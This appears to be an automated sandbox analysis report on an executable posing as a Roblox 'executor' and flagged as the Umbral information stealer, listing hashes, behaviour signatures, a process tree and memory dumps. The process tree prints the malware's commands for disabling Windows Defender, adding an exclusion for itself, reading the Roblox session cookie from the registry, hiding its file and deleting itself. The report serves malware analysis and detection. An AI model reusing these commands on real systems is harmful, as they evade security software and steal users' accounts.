Analysis

  • max time kernel
    104s
  • max time network
    118s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/04/2025, 02:03

General

  • Target

    Ultima Executor V.1.8 2.exe

  • Size

    911KB

  • MD5

    c1d3eba922b1c8200c576741321e30f0

  • SHA1

    992b40e1883a7f034b99256084aa0130d738ba5c

  • SHA256

    2257c78940e11aab5b71fd84da526e53a7d86c217667b42bc29f837e8ea09eb7

  • SHA512

    cbebcc57d691cb0a42ea345aa296e6e7ca52ad09e049e1e951f56415dd657ebbe69a7ed8e0ed41cdea40e7c82d579579457af9374cbcf718fa9bf0c6a777c224

  • SSDEEP

    24576:PX0dNTiM8RviVUwblP373RVTdQJtg8y6E:/0dNTiM8NiVUC373RheE

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 47 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Ultima Executor V.1.8 2.exe
    "C:\Users\Admin\AppData\Local\Temp\Ultima Executor V.1.8 2.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3672
    • C:\Users\Admin\AppData\Local\Temp\Ultima Executor V.1.8 2.exe
      "C:\Users\Admin\AppData\Local\Temp\Ultima Executor V.1.8 2.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1872
      • C:\Windows\SysWOW64\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:4992
      • C:\Windows\SysWOW64\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Ultima Executor V.1.8 2.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Views/modifies file attributes
        PID:4932
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Ultima Executor V.1.8 2.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4460
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5904
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2256
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4696
      • C:\Windows\SysWOW64\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:6124
      • C:\Windows\SysWOW64\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1960
      • C:\Windows\SysWOW64\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3408
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        PID:1624
      • C:\Windows\SysWOW64\Wbem\wmic.exe
        "wmic" path win32_VideoController get name
        3⤵
        • System Location Discovery: System Language Discovery
        • Detects videocard installed
        PID:1096
      • C:\Windows\SysWOW64\cmd.exe
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Ultima Executor V.1.8 2.exe" && pause
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:5812
        • C:\Windows\SysWOW64\PING.EXE
          ping localhost
          4⤵
          • System Location Discovery: System Language Discovery
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:3600
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:6108

    Network

    MITRE ATT&CK Enterprise v16

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Ultima Executor V.1.8 2.exe.log

      Filesize

      425B

      MD5

      4eaca4566b22b01cd3bc115b9b0b2196

      SHA1

      e743e0792c19f71740416e7b3c061d9f1336bf94

      SHA256

      34ba0ab8d1850e7825763f413142a333ccbc05fa2b5499a28a7d27b8a1c5b4bb

      SHA512

      bc2b1bf45203e3bb3009a7d37617b8f0f7ffa613680b32de2b963e39d2cf1650614d7035a0cf78f35a4f5cb17a2a439e2e07deaefd2a4275a62efd0a5c0184a1

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

      Filesize

      2KB

      MD5

      968cb9309758126772781b83adb8a28f

      SHA1

      8da30e71accf186b2ba11da1797cf67f8f78b47c

      SHA256

      92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

      SHA512

      4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      18KB

      MD5

      7c260517bfa3a5bf6aed88ef7f15d670

      SHA1

      03fe3a792297bbdc4d9413b487f8b19978afae61

      SHA256

      bab86efb87ae5c6deec8f4af8b0d2b2fa4aadd8254e522b35022fdee9778f8f3

      SHA512

      458ab89a6c694f5cc448fdec646fbd75836a7f5a85aa41b907a673a1fe5393736db3808410a8dec59d9cb7a9c1e4ef26f61e4ef39be4122b06d921032e5da892

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      17KB

      MD5

      2d610892846b56177ca4072aeed9e8d2

      SHA1

      18110166698a80d3fbd141bc33bd5acb10bf2005

      SHA256

      11cec2158f84f25e457ff1b5b67784894890d4cd2453c97d0e2d33b0bb46a7e7

      SHA512

      d58ae0ce6f28e50c7b7c348d8360cc715be0306d08c3c6e6b378266e48574fceab0b1c34962c229e7dd8d529d14b8fab814f130f43798377cbaf5e0e85b120e3

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      18KB

      MD5

      90020815b41e4d530588e5eb5d604416

      SHA1

      cf04a6d90cf51b34fce20aefc003151c48a50870

      SHA256

      cce667b77557bd34f7c22c29a77b0deec1c19a76798457369f0b5ed95bbd5e6e

      SHA512

      c0e2b9f3f2f984303c136e0ce624fe79b68c6f72a33001ca5c1c12db97d79cf61118670286ed73daaafd10a2bac2b75aa5cb9b3204e61b2541a8d9bda7fed9eb

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      15KB

      MD5

      dde322a46f9517e7f9dfb6d045e6cae2

      SHA1

      f5a5a83b7ee3262374c00d1deadd011c273b46ad

      SHA256

      b97be31b3d9f24ad3ad6ca6139d9f784554a850b91000447a34f7f86c826fdc7

      SHA512

      a226755cd8f42e0d8158d67f95d640d58d9e4e4963391f6d26c653045ef40d3a5fdd620b5085c63eb58951ad065f9c268fec31fb08f69176a9da3bf77829a3e4

    • C:\Users\Admin\AppData\Local\Temp\Ultima Executor V.1.8 2.exe

      Filesize

      911KB

      MD5

      c1d3eba922b1c8200c576741321e30f0

      SHA1

      992b40e1883a7f034b99256084aa0130d738ba5c

      SHA256

      2257c78940e11aab5b71fd84da526e53a7d86c217667b42bc29f837e8ea09eb7

      SHA512

      cbebcc57d691cb0a42ea345aa296e6e7ca52ad09e049e1e951f56415dd657ebbe69a7ed8e0ed41cdea40e7c82d579579457af9374cbcf718fa9bf0c6a777c224

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_koal5aep.etc.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1624-125-0x0000000005610000-0x0000000005964000-memory.dmp

      Filesize

      3.3MB

    • memory/1624-127-0x0000000006070000-0x00000000060BC000-memory.dmp

      Filesize

      304KB

    • memory/1872-128-0x0000000075070000-0x0000000075820000-memory.dmp

      Filesize

      7.7MB

    • memory/1872-111-0x0000000006E40000-0x0000000006E4A000-memory.dmp

      Filesize

      40KB

    • memory/1872-133-0x0000000075070000-0x0000000075820000-memory.dmp

      Filesize

      7.7MB

    • memory/1872-69-0x00000000068A0000-0x0000000006916000-memory.dmp

      Filesize

      472KB

    • memory/1872-12-0x0000000075070000-0x0000000075820000-memory.dmp

      Filesize

      7.7MB

    • memory/1872-8-0x0000000004CF0000-0x0000000004D82000-memory.dmp

      Filesize

      584KB

    • memory/1872-10-0x0000000075070000-0x0000000075820000-memory.dmp

      Filesize

      7.7MB

    • memory/1872-9-0x0000000005440000-0x00000000059E4000-memory.dmp

      Filesize

      5.6MB

    • memory/1872-3-0x0000000000400000-0x0000000000440000-memory.dmp

      Filesize

      256KB

    • memory/1872-115-0x0000000075070000-0x0000000075820000-memory.dmp

      Filesize

      7.7MB

    • memory/1872-112-0x0000000007A80000-0x0000000007A92000-memory.dmp

      Filesize

      72KB

    • memory/1872-70-0x0000000006A70000-0x0000000006AC0000-memory.dmp

      Filesize

      320KB

    • memory/1872-71-0x0000000006AC0000-0x0000000006ADE000-memory.dmp

      Filesize

      120KB

    • memory/2256-96-0x0000000006770000-0x0000000006792000-memory.dmp

      Filesize

      136KB

    • memory/2256-95-0x0000000006290000-0x00000000062DC000-memory.dmp

      Filesize

      304KB

    • memory/2256-93-0x0000000005D00000-0x0000000006054000-memory.dmp

      Filesize

      3.3MB

    • memory/3672-2-0x000000007507E000-0x000000007507F000-memory.dmp

      Filesize

      4KB

    • memory/3672-7-0x0000000075070000-0x0000000075820000-memory.dmp

      Filesize

      7.7MB

    • memory/3672-11-0x0000000075070000-0x0000000075820000-memory.dmp

      Filesize

      7.7MB

    • memory/3672-0-0x000000007507E000-0x000000007507F000-memory.dmp

      Filesize

      4KB

    • memory/3672-1-0x0000000000670000-0x000000000075A000-memory.dmp

      Filesize

      936KB

    • memory/4460-14-0x00000000058D0000-0x0000000005EF8000-memory.dmp

      Filesize

      6.2MB

    • memory/4460-42-0x00000000079A0000-0x0000000007A43000-memory.dmp

      Filesize

      652KB

    • memory/4460-51-0x0000000007DE0000-0x0000000007DE8000-memory.dmp

      Filesize

      32KB

    • memory/4460-49-0x0000000007D00000-0x0000000007D14000-memory.dmp

      Filesize

      80KB

    • memory/4460-13-0x0000000002DE0000-0x0000000002E16000-memory.dmp

      Filesize

      216KB

    • memory/4460-48-0x0000000007CF0000-0x0000000007CFE000-memory.dmp

      Filesize

      56KB

    • memory/4460-47-0x0000000007CC0000-0x0000000007CD1000-memory.dmp

      Filesize

      68KB

    • memory/4460-46-0x0000000007D40000-0x0000000007DD6000-memory.dmp

      Filesize

      600KB

    • memory/4460-45-0x0000000007B30000-0x0000000007B3A000-memory.dmp

      Filesize

      40KB

    • memory/4460-44-0x0000000007AC0000-0x0000000007ADA000-memory.dmp

      Filesize

      104KB

    • memory/4460-43-0x0000000008110000-0x000000000878A000-memory.dmp

      Filesize

      6.5MB

    • memory/4460-50-0x0000000007E00000-0x0000000007E1A000-memory.dmp

      Filesize

      104KB

    • memory/4460-41-0x0000000006D60000-0x0000000006D7E000-memory.dmp

      Filesize

      120KB

    • memory/4460-16-0x0000000006020000-0x0000000006086000-memory.dmp

      Filesize

      408KB

    • memory/4460-31-0x0000000070920000-0x000000007096C000-memory.dmp

      Filesize

      304KB

    • memory/4460-30-0x0000000007760000-0x0000000007792000-memory.dmp

      Filesize

      200KB

    • memory/4460-29-0x0000000006830000-0x000000000687C000-memory.dmp

      Filesize

      304KB

    • memory/4460-28-0x00000000067A0000-0x00000000067BE000-memory.dmp

      Filesize

      120KB

    • memory/4460-23-0x0000000006100000-0x0000000006454000-memory.dmp

      Filesize

      3.3MB

    • memory/4460-15-0x0000000005F80000-0x0000000005FA2000-memory.dmp

      Filesize

      136KB

    • memory/4460-17-0x0000000006090000-0x00000000060F6000-memory.dmp

      Filesize

      408KB

    • memory/4696-98-0x0000000005770000-0x0000000005AC4000-memory.dmp

      Filesize

      3.3MB

    • memory/5904-64-0x00000000056A0000-0x00000000059F4000-memory.dmp

      Filesize

      3.3MB